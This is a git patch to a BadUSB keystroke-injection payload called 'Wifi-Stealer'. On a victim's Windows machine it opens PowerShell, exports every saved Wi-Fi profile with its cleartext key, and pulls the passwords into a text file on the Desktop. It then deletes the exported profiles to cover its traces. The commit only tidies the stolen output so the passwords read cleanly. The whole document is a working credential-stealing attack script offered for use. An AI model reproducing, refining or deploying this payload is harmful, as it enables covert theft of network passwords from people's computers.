From 1e5981b167dfaa2b3b2a137c191536b6220ddfac Mon Sep 17 00:00:00 2001 From: John McKee <36903465+johnmckee02@users.noreply.github.com> Date: Fri, 26 Aug 2022 17:19:16 -0400 Subject: [PATCH] Clean up output This script currently has the HTML tag affixed to either side of the scraped password, as well as some file path data surrounding the network SSIDs. This modification to the script cleans these conditions up. --- BadUSB/Wifi-Stealer_ORG.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/BadUSB/Wifi-Stealer_ORG.txt b/BadUSB/Wifi-Stealer_ORG.txt index 5e3a78aa..e6e860fd 100644 --- a/BadUSB/Wifi-Stealer_ORG.txt +++ b/BadUSB/Wifi-Stealer_ORG.txt @@ -9,5 +9,5 @@ DELAY 500 STRING powershell ENTER DELAY 500 -STRING cd C:\Users\$env:UserName\Desktop;netsh wlan export profile key=clear;Select-String -Path WiFi-* -Pattern 'keyMaterial'>0.txt;del WiFi-*;exit +STRING cd C:\Users\$env:UserName\Desktop; netsh wlan export profile key=clear; Select-String -Path WiFi-* -Pattern 'keyMaterial' | % { $_ -replace '', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > 0.txt; del WiFi-*;exit ENTER